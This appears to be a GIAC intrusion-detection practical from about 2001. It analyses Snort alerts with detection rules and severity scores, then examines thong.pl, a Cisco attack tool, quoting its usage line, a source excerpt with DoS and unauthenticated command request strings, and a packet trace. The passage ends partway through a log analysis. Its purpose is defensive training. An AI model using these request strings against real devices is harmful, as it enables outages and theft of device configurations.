Global Information Assurance Certification Paper

Assignment #1 – Five Network Scans

Detect #1 (named iquery attempt)

[**] DNS named iquery attempt [**]
03/14-22:16:11.061618 **seeker.net**:2693 -> **my.dns.com**:53
UDP TTL:45 TOS:0x0 ID:1794 IpLen:20 DgmLen:493
Len: 473

```
25 15 09 80 00 00 00 01 00 00 00 00 3E 41 41 41   %.........>AAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 3E 42 42 42 42   AAAAAAAAAAA>BBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
42 42 42 42 42 42 42 42 42 42 3E 43 43 43 43 43   BBBBBBBBBB>CCCCC
43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43   CCCCCCCCCCCCCCCC
43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43   CCCCCCCCCCCCCCCC
43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43   CCCCCCCCCCCCCCCC
43 43 43 43 43 43 43 43 43 3E 00 01 02 03 04 05   CCCCCCCCC>......
06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15   ................
16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25   .......... !"#$%
26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35   &'()*+,-./012345
36 37 38 39 3A 3B 3C 3D 3E 45 45 45 45 45 45 45   6789:;<=>EEEEEEE
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45   EEEEEEEEEEEEEEEE
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45   EEEEEEEEEEEEEEEE
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45   EEEEEEEEEEEEEEEE
45 45 45 45 45 45 45 3E 46 46 46 46 46 46 46 46   EEEEEEE>FFFFFFFF
46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46   FFFFFFFFFFFFFFFF
46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46   FFFFFFFFFFFFFFFF
46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46   FFFFFFFFFFFFFFFF
46 46 46 46 46 46 3D 47 47 47 47 47 47 47 47 47   FFFFFF=GGGGGGGGG
47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47   GGGGGGGGGGGGGGGG
47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47   GGGGGGGGGGGGGGGG
47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47   GGGGGGGGGGGGGGGG
47 47 47 47 00 00 01 00 01 00 00 00 01 00 FF BF   GGGG..........
```

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The Log Format:

Meaning	Snort information
Snort signature	[**] DNS named iquery attempt [**]
Date/Time group	03/14-22:16:11.061618
Sorce Address and port (2693)	**seeker.net**:2693
Direction operator	->
Destination Address and port (53)	**my.dns.com**:53
Protocol and Time to Live (TTL)	UDP TTL:45
Type of Service (TOS)	TOS:0x0
Packet ID in binary	ID:1794
IP header length	IpLen:20
Total length	DgmLen:493
UDP length	Len: 473

1. Source of trace.

My network.

2. Detect was generated by:

Detect was generated by Snort Intrusion Detection System,Version 1.7.
Snort rule:
alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS named iquery attempt"; content: "|0980 0000 0001 0000 0000|"; offset: 2; depth : 16; rference:arachnids,277; reference:cve,CVE-1999-009; reference:bugtraq,134;)
explain the log format

3. Probability the source address was spoofed:

Probably not spoofed. Spoofing the address would be defeating the purpose to see response.

4. Description of attack:

The attacker is trying to determine if a name server supports IQUERY (Inverse Query).

5. Attack Mechanism:

IP address **seeker.net** is trying to determine if the name server, **my.dns.com,** supports IQUERY.

This signature often indicates a pre-attack probe used to locate vulnerable servers running named. With Inverse Query Buffer Overrun in BIND 4.9 and BIND 8 Releases attacker can gain root-level access to name server.

6. Correlation:

The following links have additional information:
http://www.whitehats.com/info/IDS277
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0009
http://www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fvid%3D134
http://www.insecure.org/sploits/bind.multiple.vuln.html

7. Evidence of active targeting:

The source IP address **iquery.net** targeted IP address **my.dns.com**

8. Severity:

(System Criticality + Attack Lethality) – (System Countermeasures + Network Countermeasures) = Severity

(5 + 3) - (5+2) = 1

System Criticality:	5 - DNS server
Attack Lethality:	3 - Pre-attack probe
System Countermeasures:	5 - Modern operating system, all patches
Network Countermeasures:	2 - Firewall in place, but traffic is allowed to target

9. Defensive recommendation:

"Upgrading to the latest version of bind, available at: http://www.isc.org/bind.html will eliminate this vulnerability.

CERT advisory CA-98.05.bind_problems.html details individual vendor responses. It also provides information about specific vendor patches." (http://www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fvid%3D134).

10. Multiple choice test question:

Which service is on port 53?

A SMTP
B WWW
C FTP
D DNS

Answer D

Detect #2 (SMTP relaying denied) – (Back)

```
[**] SMTP relaying denied [**]
03/20-20:06:08.358631 my.smtp.com:25 -> seeker.relaying.net:2407
TCP TTL:253 TOS:0x0 ID:424 IpLen:20 DgmLen:91 DF
***AP*** Seq: 0xBAD1876C  Ack: 0x3CDEBA59  Win: 0x2530  TcpLen: 20
35 35 30 20 35 2E 37 2E 31 20 3C 61 77 73 75 6D        550 5.7.1 <awsum
34 75 40 65 78 63 69 74 65 2E 63 6F 6D 3E 2E 2E        4u@excite.com>..
2E 20 52 65 6C 61 79 69 6E 67 20 64 65 6E 69 65  .     Relaying denie
64 0D 0A                                               d..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

[**] SMTP relaying denied [**]
03/20-20:06:17.951379 my.smtp.com:25 -> seeker.relaying.net:2422
TCP TTL:253 TOS:0x0 ID:64682 IpLen:20 DgmLen:91 DF
***AP*** Seq: 0x671C7308  Ack: 0x3CFC1DB3  Win: 0x2530  TcpLen: 20
35 35 30 20 35 2E 37 2E 31 20 3C 61 77 73 75 6D        550 5.7.1 <awsum
34 75 40 65 78 63 69 74 65 2E 63 6F 6D 3E 2E 2E        4u@excite.com>..
2E 20 52 65 6C 61 79 69 6E 67 20 64 65 6E 69 65  .     Relaying denie
64 0D 0A                                               d..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
```

1. Source of trace.

My network.

2. Detect was generated by:

Detect was generated by Snort Intrusion Detection System,Version 1.7.
Snort rule:
alert tcp $HOME_NET 25 -> $EXTERNAL_NET any (msg:"SMTP relaying denied"; flags: A+; content: "5.7.1"; depth:70; reference:arachnids ,249;)

3. Probability the source address was spoofed:

Probably spoofed.

4. Description of attack:

"Mail relay is enabled, allowing abuse by spammers." (CAN-1999-0512)

5. Attack Mechanism:

On the Internet, there are mail servers that are miss-configured and are an open relay. This means that unscrupulous people can send bulk unsolicited junk e-mail through those relays and bombard other sites.

6. Correlation:

http://www.whitehats.com/info/IDS249
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0512

7. Evidence of active targeting:

The **seeker.relaying.net** targeted **my.smtp.com** and packets, from the dump, are responses from **my.smtp.com.**

8. Severity:

(System Criticality + Attack Lethality) – (System Countermeasures + Network Countermeasures) = Severity

(4 + 1) - (5 + 2) = -2

System Criticality:	4 - SMTP server
Attack Lethality:	1 - Attack is unlikely to succeed
System Countermeasures:	5 - Modern operating system, all patches
Network Countermeasures:	2 - Firewall in place, but traffic is allowed to target

9. Defensive recommendation:

"This behavior indicates the successful blocking of an attempt at relaying email through an internal email server." (ids249)

10. Multiple choice test question:

What is signature of the "SMTP relaying denied"

A FLAGS SYN, PSH
B CONTENT "550"
C FLAGS ACK, PSH CONTENT "5.7.1", DEPTH "70"
D DEPTH "7"

Answer C

Detect #3 (False Positive - transmitting data via HTTP) - (Back)

[**] DDOS mstream client to handler [**]
03/14-13:51:25.235058 **www.server.net**:80 -> **my.ws.com**:12754
TCP TTL:117 TOS:0x0 ID:1009 IpLen:20 DgmLen:141 DF
AP Seq: 0xE70F58F Ack: 0x1645CAEE Win: 0x2058 TcpLen: 20
72 3E 0D 0A 09 09 3C 54 52 3E 0D 0A 09 09 3C 54 r>....<TR>....<T

```
44 20 43 4F 4C 53 50 41 4E 3D 22 33 22 20 41 4C        D COLSPAN="3" AL
49 47 4E 3D 22 43 45 4E 54 45 52 22 3E 0D 0A 09          IGN="CENTER">...
09 09 3C 68 72 20 77 69 64 74 68 3D 22 31 30 30         ..<hr width="100
25 22 20 61 6C 69 67 6E 3D 22 63 65 6E 74 65 72         %" align="center
22 3E 0D 0A 09 09 3C 2F 74 64 3E 0D 0A 09 3C 2F         ">....</td>...</
74 72 3E 0D 0A                                          tr>..
```

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[**] DDOS shaft client to handler [**]
03/14-13:43:49.076294 **www.server.net**:80 -> **my.ws.com**:20432
TCP TTL:111 TOS:0x0 ID:34892 IpLen:20 DgmLen:292 DF
AP Seq: 0x4093E4A0 Ack: 0xA1454F2 Win: 0x40B0 TcpLen: 20

```
48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D         HTTP/1.1 200 OK.
0A 53 65 72 76 65 72 3A 20 4D 69 63 72 6F 73 6F         .Server: Microso
66 74 2D 49 49 53 2F 35 2E 30 0D 0A 43 6F 6E 6E         ft-IIS/5.0..Conn
65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C 69         ection: keep-ali
76 65 0D 0A 44 61 74 65 3A 20 57 65 64 2C 20 31         ve..Date: Wed, 1
34 20 4D 61 72 20 32 30 30 31 20 31 30 3A 35 37  4      Mar 2001 10:57
3A 35 39 20 47 4D 54 0D 0A 43 6F 6E 74 65 6E 74         :59 GMT..Content
2D 54 79 70 65 3A 20 69 6D 61 67 65 2F 6A 70 65         -Type: image/jpe
67 0D 0A 41 63 63 65 70 74 2D 52 61 6E 67 65 73         g..Accept-Ranges
3A 20 62 79 74 65 73 0D 0A 4C 61 73 74 2D 4D 6F         : bytes..Last-Mo
64 69 66 69 65 64 3A 20 54 75 65 2C 20 30 33 20         dified: Tue, 03
4F 63 74 20 32 30 30 30 20 32 30 3A 30 36 3A 32         Oct 2000 20:06:2
32 20 47 4D 54 0D 0A 45 54 61 67 3A 20 22 61 61         2 GMT..ETag: "aa
62 35 66 35 36 36 37 35 32 64 63 30 31 3A 38 61         b5f566752dc01:8a
37 22 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67         7"..Content-Leng
74 68 3A 20 32 34 36 39 0D 0A 0D 0A                     th: 2469....
```

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The Log Format:

Meaning	Snort information
Snort signature	[**] DDOS mstream client to handler [**]
Date/Time group	03/14-13:51:25.235058
Sorce Address and port (80)	www.server.net:80
Direction operator	->
Destination Address and port (12754)	**my.ws.com**:12754
Protocol and Time to Live (TTL)	TCP TTL:117
Type of Service (TOS)	TOS:0x0
Packet ID in binary	ID:1009
IP header length	IpLen:20
Total length	DgmLen:141
Don't Fragment Flag	DF
TCP flags set	***AP***
Sequence # in Hex	Seq: 0xE70F58F
Acknowledgement # in Hex	Ack: 0x1645CAEE
Windows size in Hex	Win: 0x2058
TCP header length	TcpLen: 20

1. Source of trace.

My network

2. Detect was generated by:

Detect was generated by Snort Intrusion Detection System,Version 1.7.
Snort rule:
alert tcp $EXTERNAL_NET any -> $HOME_NET 12754 (msg:"DDOS mstream client to handler"; content: ">"; flags: A+; reference:cve,CAN-2000-0138;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 20432 (msg:"DDOS shaft client to handler"; flags: A+; reference:arachnids,254;)

3. Probability the source address was spoofed:

Probably not spoofed.

4. Description of attack:

N/A

5. Attack Mechanism:

N/A

6. Correlation:

The following links have additional information about Distributed Denial of Service (DDOS) attacks "mstream client to handler" and " shaft client to handler":
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0138
http://xforce.iss.net/alerts/advise48.php
http://marc.theaimsgroup.com/?l=bugtraq&m=95715370208598&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=95722093124322&w=2
http://www.whitehats.com/info/IDS254
http://www.securiteam.com/windowsntfocus/Microsoft_IIS_shtml_exe_path_disclosure_vulnerability.html

7. Evidence of active targeting:

N/A

8. Severity:

(System Criticality + Attack Lethality) – (System Countermeasures + Network Countermeasures) = Severity

(x + x) - (x + x) = x

System Criticality:
Attack Lethality:
System Countermeasures:
Network Countermeasures:

9. Defensive recommendation:

N/A

10. Multiple choice question:

This log was generated by which IDS:

A Shadow
B Snort
C Real Secure
D Net Ranger

Answer B

Detect #4 (WEB-FRONTPAGE shtml.exe) - ((Back)

[**] WEB-FRONTPAGE shtml.exe [**]
03/20-11:52:34.076724 **192.168.100.101**:57426 -> **my.web.com**:80

```
TCP TTL:246 TOS:0x0 ID:60524 IpLen:20 DgmLen:363
***AP*** Seq: 0x8E3E61C9  Ack: 0xFD006BC0          Win: 0x8000  TcpLen: 20
47 45 54 20 2F 5F 76 74 69 5F 62 69 6E 2F 73 68     GET /_vti_bin/sh
74 6D 6C 2E 65 78 65 2F .. .. .. .. .. .. .. ..     tml.exe/……
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

1. Source of trace.

My network

2. Detect was generated by:

Detect was generated by Snort Intrusion Detection System,Version 1.7.
Snort rule:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-FRONTPAGE shtml.exe";flags: A+; content:"/_vti_bin/shtml.exe"; nocase; reference:cve,CAN-2000-0413; reference:cve,CAN-2000-0709; reference:bugtraq,1608; reference:bugtraq,1174;)

3. Probability the source address was source:

Probably not spoofed, if attacker determines the physical path of HTML, HTM, ASP, and SHTML files.

Probably spoofed if attacker want to cause denial of service.

4. Description of attack:

This attack has two references, which describe attacks:
- "The shtml.exe program in the FrontPage extensions package of IIS 4.0 and 5.0 allows remote attackers to determine the physical path of HTML, HTM, ASP, and SHTML files by requesting a file that does not exist, which generates an error message that reveals the path." (CAN-2000-0413)
- "The shtml.exe component of Microsoft FrontPage 2000 Server Extensions 1.1 allows remote attackers to cause a denial of service in some components by requesting a URL whose name includes a standard DOS device name." (CAN-2000-0709)

5. Attack Mechanism:

The IP address 192.168.100.101 sends a packet, which contains "/_vti_bin/shtml.exe" and a path to a non-existing file to my.web.com. "Passing a path to a non-existent file to the shtml.exe or shtml.dll (depending on platform) program will display an error message starting that the file cannot be found accompanied by the full local path to the web root. For example, performing a request for http://target/_vti_bin/shtml.dll/non_existant_file.html will produce an error message stating "Cannot open "C:\localpath\non_existant_file.html": no such file or folder"". (bid 1174) Expose information of the real path, an attacker can later use for future attacks.

6. Correlation:

The following links have additional information:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0413
http://www.securityfocus.com/bid/1174
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0709
http://www.securityfocus.com/bid/1608

7. Evidence of active targeting:

The source IP address **192.168.100.101** targeted **my.web.com.**

8. Severity:

(System Criticality + Attack Lethality) – (System Countermeasures + Network Countermeasures) = Severity

(4 + 2) - (2 + 2) = 2

System Criticality:	4 - Web server
Attack Lethality:	2 - Pre attack probe
System Countermeasures:	2 - Target is not patched
Network Countermeasures:	2 - Firewall in place, but traffic is allowed to target

9. Defensive recommendation:

"Microsoft will be addressing this issue with version 1.2 of Frontpage Server Extensions 2000." (bid 1174)

10. Multiple choice test question:

Which item is a signature of a " WEB-FRONTPAGE shtml.exe " attack:

A /_vti_ /html.exe
B /_vti_bin/shtml.exe
C /_vti_bin/http.exe
D / _bin/shttp.exe

Answer B

Detect #5 (False Positive - miss-configured Tivoli/IBM TME 10 agent) - (Back)

portscan.log
Mar 11 20:58:01 192.168.100.100:13991 -> 17.32.184.68:13991 UDP
Mar 11 20:58:02 192.168.100.100:13991 -> 17.32.225.4:13991 UDP
Mar 11 20:58:03 192.168.100.100:13991 -> 17.32.125.132:13991 UDP
Mar 11 20:58:04 192.168.100.100:13991 -> 17.32.241.196:13991 UDP

Mar 11 20:58:04 192.168.100.100:13991 -> 17.32.16.228:13991 UDP
Mar 11 20:58:05 192.168.100.100:13991 -> 17.32.156.4:13991 UDP
Mar 11 20:58:06 192.168.100.100:13991 -> 17.32.229.4:13991 UDP

alert
[**] spp_portscan: portscan status from 192.168.6.202: 7 connections across 7 hosts: TCP(0), UDP(7) [**]
03/11-20:58:08.684813

Cisco Secure PIX firewall
106011: Deny inbound (No xlate) udp src xxx: 192.168.100.100/13991 dst xxx:17.32.115.196/13991
106011: Deny inbound (No xlate) udp src xxx: 192.168.100.100/13991 dst xxx:17.32.157.196/13991

The log format:

http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_v50/pix55em/pixemsgs.htm#40403

1. Source of trace.

My network.

2. Detect was generated by:

Detect was generated by Snort Intrusion Detection System,Version 1.7.
Cisco Secure PIX firewall. (explain the format)

3. Probability the source address was spoofed:

Probably not spoofed

4. Description of attack:

IP address 192.168.100.100 scanned IP addresses on port 13991.

5. Attack Mechanism:

N/A

6. Correlation:

The following correlating data is included (from Sniffer Pro), providing a complete UDP packet.

DLC: ----- DLC Header -----

```
    DLC:
    DLC:  Frame 1 arrived at  14:45:32.0000; frame size is 60 (003C hex) bytes.
    DLC:  Destination = Station Cisco107AC10
    DLC:  Source      = Station 00105AE795F6
    DLC:  Ethertype   = 0800 (IP)
    DLC:
IP: ----- IP Header -----
    IP:
    IP: Version = 4, header length = 20 bytes
    IP: Type of service = 00
    IP:       000. ....  = routine
    IP:       ...0 .... = normal delay
    IP:       .... 0... = normal throughput
    IP:       .... .0.. = normal reliability
    IP: Total length    = 31 bytes
    IP: Identification  = 21878
    IP: Flags           = 0X
    IP:       .0.. .... = may fragment
    IP:       ..0. .... = last fragment
    IP: Fragment offset = 0 bytes
    IP: Time to live    = 64 seconds/hops
    IP: Protocol        = 17 (UDP)
    IP: Header checksum = 5B01 (correct)
    IP: Source address      = [192.168.100.100]
    IP: Destination address = [17.32.241.196]
    IP: No options
    IP:
UDP: ----- UDP Header -----
    UDP:
    UDP: Source port      = 13991
    UDP: Destination port = 13991
    UDP: Length           = 11
    UDP: Checksum         = 4732 (correct)
    UDP: [3 byte(s) of data]
    UDP:
ADDR  HEX                                ASCII
0000: 00 00 0c 07 ac 10 00 10 5a e7 95 f6 08 00 45 00 | ........!Xn6....
0010: 00 1f 55 76 00 00 40 11 5b 01 xx xx xx xx xx xx | ..... .$.{y....
0020: xx xx 36 a7 36 a7 00 0b 47 32 81 00 00 00 00 00 | 1D.x.x....a.....
0030: 00 00 00 00 00 00 00 00 00 00 00 00             | ............
```

7. Evidence of active targeting:

N/A

8. Severity:

(System Criticality + Attack Lethality) – (System Countermeasures + Network Countermeasures) = Severity

(x + x) - (x + x) = x

System Criticality:

Attack Lethality:
System Countermeasures:
Network Countermeasures:

9. Defensive recommendation:

Do right configuration.

10. Multiple choice question:

106011: Deny inbound (No xlate) udp src xxx:192.168.100.100/13991 dst xxx:17.32.115.196/13991

This log was generated by:

A Check Point FW1
B Cisco Secure PIX firewall
C Cisco Secure IDS
D Shadow

Answer B

Assignment 2 –Evaluate and attack – (Back)

1. Source of the Attack - thong.pl - automated multi dos attack tool

http://www.hack.co.za/html/index.january.html

According to the (1), " Thong-th-thong-th-thong.pl AKA thong.pl is a PERL script which automates several attacks against various Cisco products.
To be specific:

12-13-00 - Cisco Catalyst ssh Protocol Mismatch DoS Vulnerability
11-28-00 - Cisco 675 Web Administration Denial of Service Vulnerability
10-26-00 - Cisco Catalyst 3500 XL Remote Arbitrary Command
10-25-00 - Cisco IOS Software HTTP Request DoS Vulnerability"

2. Description of Attack

2.1 Exploits Details

Name: Cisco Catalyst ssh Protocol Mismatch DoS Vulnerability
CVE: CAN-2001-0080 (under review) (2)
Operating System: Cisco Catalyst 6000, 5000, or 4000 switches
Brief Description: Cisco switches allow remote attackers to cause a denial of service by connecting to the SSH service with a non-SSH client, which generates a protocol mismatch error.

Name: Cisco 675 Web Administration Denial of Service Vulnerability
BUGTRAQ id: 2012
Operating System: Cisco DSL Router 677.0, Cisco DSL Router 675.0
Brief Description: "If the Cisco 675 DSL Router has the Web Administration Interface enabled, a remote attacker could telnet to the router and issue a simple malformed HTTP GET request. Once connected via telnet to the Web Administration Interface, issuing the command GET ? \n \n will crash the telnet session as well as the router, requiring it be power cycled before resuming normal operation." (3)

Name: Cisco Catalyst 3500 XL Remote Arbitrary Command
CVE: CAN-2000-0945 (under review) (4)
Operating System: Cisco Catalyst 3500 XL switches
Brief Description: Web configuration interface for Catalyst 3500 XL switches allows remote attackers to execute arbitrary commands without authentication via URL containing the /exec/ directory.

Name: Cisco IOS Software HTTP Request DoS Vulnerability
CVE: CVE-2000-0984 (5)

Operating System: Cisco IOS 12.0 through 12.1
Brief Description: HTTP server in Cisco IOS 12.0 through 12.1 allows local users to cause a denial of service (crash and reload) via URL containing a "?/" string.

2.2 How to use the exploit

To start PERL script, the following command can be used:
./thong.pl -h <host>

Then, you can choose one of the next options:
```
 DATE          VULNERABILITY
 1. 12-13-00 - Cisco Catalyst ssh Protocol Mismatch DoS Vulnerability
 2. 11-28-00 - Cisco 675 Web Administration Denial of Service Vulnerability
 3. 10-26-00 - Cisco Catalyst 3500 XL Remote Arbitrary Command
 4. 10-25-00 - Cisco IOS Software HTTP Request DoS Vulnerability

 Enter Option:
```

2.3 Source code

The source code can be found at (1) and the lines below come from thong.pl:
```
sub computeOption
{
 if    ($menu_opt == "1"){$PORT = 22; $STRING = "this ain't SSH";}
 elsif ($menu_opt == "2"){$PORT = 80; $STRING = "GET ? HTTP/1.0\n\n";}
 elsif ($menu_opt == "3"){$PORT = 80; three();}
 elsif ($menu_opt == "4"){$PORT = 80; $STRING = "GET /error?/ HTTP/1.0\n\n";}
 else  {print "Select a real option!\n"; menu();}
}

sub three
{
 print "Enter file to read or enter D for default (/show/config/cr): ";
 $key = <STDIN>;
 chomp ($key);
 print "\nGetting $key...";

 if (($key eq "D")||($key eq "d"))
 {
  print "\nGetting /show/config/cr...\n";
  $STRING = "GET /exec/show/config/cr HTTP/1.0\n\n";
 }
 else
 {
  print "\nGetting $key...\n";
  $STRING = "GET /exec$key HTTP/1.0\n\n";
```

}

3. Trace of the Attack

I used Sniffer Pro from Network Associates and I have done trace for Cisco IOS Software HTTP Request DoS Vulnerability.

First the three way handshake, SYN, SYN-ACK, ACK:
1 [attacker] [http-server] 74 TCP: D=80 S=1130 **SYN** SEQ=3676262050 LEN=0 WIN=32120
2 [http-server] [attacker] 60 TCP: D=1130 S=80 **SYN ACK**=3676262051 SEQ=3588378044 LEN=0 WIN=4128
3 [attacker] [http-server] 60 TCP: D=80 S=1130 **ACK**=3588378045 WIN=32120

Attacker sends a HTTP request:
- Frame 4 -
…
TCP: ----- TCP header -----
TCP:
TCP: Source port = 1130
TCP: Destination port = 80 (WWW-HTTP)
TCP: Sequence number = 3676262051
TCP: Next expected Seq number= 3676262074
TCP: Acknowledgment number = 3588378045
TCP: Data offset = 20 bytes
TCP: Flags = 18
TCP: ..0. .... = (No urgent pointer)
TCP: ...1 .... = Acknowledgment
TCP: .... 1... = Push
TCP: .... .0.. = (No reset)
TCP: .... ..0. = (No SYN)
TCP: ....0 = (No FIN)
TCP: Window = 32120
TCP: Checksum = 45D2 (correct)
TCP: No TCP options
TCP: [23 Bytes of data]
TCP:
HTTP: ----- Hypertext Transfer Protocol -----
HTTP:
HTTP: Line 1: GET /error?/ HTTP/1.0
HTTP: Line 2:
HTTP:

Detecting the attack

I wrote the Snort rule:

alert tcp any any -> http-server 80 (msg:"Cisco IOS HTTP Request Vulnerability CVE-2000-0984";flags: AP; content:"?/"; nocase;)

That means alert on **any** source IP address sends a TCP traffic to destination host **http-server** with destination port of **80** and with **PUSH** and **ACK** flags and content **?/** giving a message of "Cisco IOS HTTP Request Vulnerability CVE-2000-0984".

Snort file alert shows next lines:
[**] Cisco IOS HTTP Request Vulnerability CVE-2000-0984 [**]
03/08-22:13:32.446443 192.168.254.151:1174 -> 192.168.254.129:80
TCP TTL:64 TOS:0x0 ID:38022 IpLen:20 DgmLen:63 DF
AP Seq: 0xFF5E4053 Ack: 0xA2774234 Win: 0x7D78 TcpLen: 20

Snort file TCP:1174-80 shows next lines:
03/08-22:13:32.446443 192.168.254.151:1174 -> 192.168.254.129:80
TCP TTL:64 TOS:0x0 ID:38022 IpLen:20 DgmLen:63 DF
AP Seq: 0xFF5E4053 Ack: 0xA2774234 Win: 0x7D78 TcpLen: 20
47 45 54 20 2F 65 72 72 6F 72 3F 2F 20 48 54 54 GET /error?/ HTT
50 2F 31 2E 30 0A 0A P/1.0..

=+=

Resources and References

(1) http://www.hack.co.za/exploits/os/hardware/routers/cisco/thong.pl
(2) http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0080
(3) http://securityfocus.net/frames/?content=/vdb/bottom.html%3Fvid%3D2012
(4) http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0945
(5) http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0984

Assignment #3 – Analyze This Scenario – (Back)

1. Scenario

"Your organization has been asked to provide a bid for security services to GIAC Enterprises, an e-business startup that sells electronic fortune cookie sayings. You have been provided with one month's worth of data from a Snort system with a fairly standard rulebase. From time to time, the power has failed or the disk was full so you do not have data for all days. Your task is to analyze the data. Be especially alert for signs of compromised systems or network problems and produce an analysis report." (1)

2. Snort Snarf output of the alert files

Signature	# Alerts	# Sources	# Destinations
site exec - Possible wu-ftpd exploit - GIAC000623	1	1	1
SITE EXEC - Possible wu-ftpd exploit - GIAC000623	1	1	1
STATDX UDP attack	1	1	1
Happy 99 Virus	1	1	1
Probably NMAP fingerprint attempt	8	5	6
External RPC call	59	15	25
Back Orifice	63	9	60
TCP SMTP source Port traffic	100	5	88
Broadcast Ping to subnet 70	151	23	1
connect to 515 from inside	159	10	98
SUNRPC highport access	204	25	19
SMB Name Wildcard	515	93	171
Russia Dynamo - SANS Flash 28-jul-00	546	2	2
NMAP TCP ping!	558	47	156
SNMP public access	591	20	7
Queso fingerprint	710	52	72
Null scan!	824	525	171
Attempt Sun RPC high port access	2041	16	22
Win Gate 1080 Attempt	2202	466	565
Watch list 000222 NET - NCFC	2401	31	19
Connect to 515 from outside	4237	9	2876
Tiny Fragments - Possible Hostile Activity	5339	26	12
DNS udp DoS attack described on unisog	16146	8	6
SYN - FIN scan!	51192	37	27067
Watchlist 000220 IL - ISDNNET-990517	104507	46	100

Table 1

3. Top 5 alert signatures of 25 identified signatures

3.1 Watchlist 000220 IL - ISDNNET-990517

Watchlist 000220 IL - ISDNNET-990517	46 sources	100 destinations

Top Source Hosts

#	Sources	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	212.179.79.2	48786	48786	41	41
2	212.179.27.111	37604	37604	1	1
3	212.179.95.5	4563	4563	4	4
4	212.179.77.20	2353	2353	2	2
5	212.179.44.105	1517	1517	1	1

Top Destination Hosts

#	Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	MY.NET.201.222	37604	37609	1	6
2	MY.NET.220.126	25182	25183	1	2
3	MY.NET.225.234	9309	9314	1	4
4	MY.NET.202.94	5181	5253	4	20
5	MY.NET.229.114	5080	5082	1	3

Detailed analyze of the summary field (SnortSnarf) shows that only one signature is present for all five Top Source Hosts and it is Watchlist 000220 IL - ISDNNET-990517 and all 46 source hosts traffic comes from Israel. For example IP address 212.179.79.2 has the next information from RIPE Whois Database:

Inetnum: 212.179.79.0 - 212.179.79.63
netname: CREOSCITEX
descr: CREOSCITEX-SIFRA
country: IL
admin-c: ZV140-RIPE
tech-c: NP469-RIPE
status: ASSIGNED PA
notify: hostmaster@isdn.net.il
changed: hostmaster@isdn.net.il 20001109
source: RIPE

Top Destination Hosts shows most targeted hosts on MY.NET, for this attack, and all of them have at least one scanning signature, for example "SYN-FIN scan!". The lines below come from Snort. "Null scan!", in the first line, indicates the scanning of the port 6699 on MY.NET.201.222. After scanning came traffic to MY.NET.201.22 on the same port.

01/02-16:16:47.594317 [**] Null scan! [**] 213.96.7.214:60860 -> MY.NET.201.222:6688
…
01/04-02:54:06.872039 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.27.111:1778 -> MY.NET.201.222:6688
01/04-02:54:07.917555 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.27.111:1778 -> MY.NET.201.222:6688
…

I have found the rapport of similar traffic on (2) and comment was: "In this case, a large portion of it looks like gnutella related activity." "Gnutella is the protocol that allows those with a Gnutella client to distribute files." (3) For more information on Gnutella, take a look at (3) or (4). There are some security risks to use gnutella, for example:
- no restrictions possible on unauthorized sharing of files,
- not anonymous,
- ability to see what other people are searching for on the network,
- distributed nature of servant makes it difficult to block access to GnutellaNet, '
- ability to change the port you use makes it difficult to block access to GnutellaNet,
- ability to define your own internal network with a single exit point to the rest of the internet makes it difficult to block access to GnutellaNet

7 different signatures are present for IP address MY.NET.202.94 as a destination:
- 2 instances of Null scan!,
- 3 instances of SYN-FIN scan!,
- 3 instances of BackOrifice,
- 4 instances of Attempt Sun RPC high port access,
- 6 instances of SUNRPC highport access,
- 54 instances of WinGate 1080 Attempt,
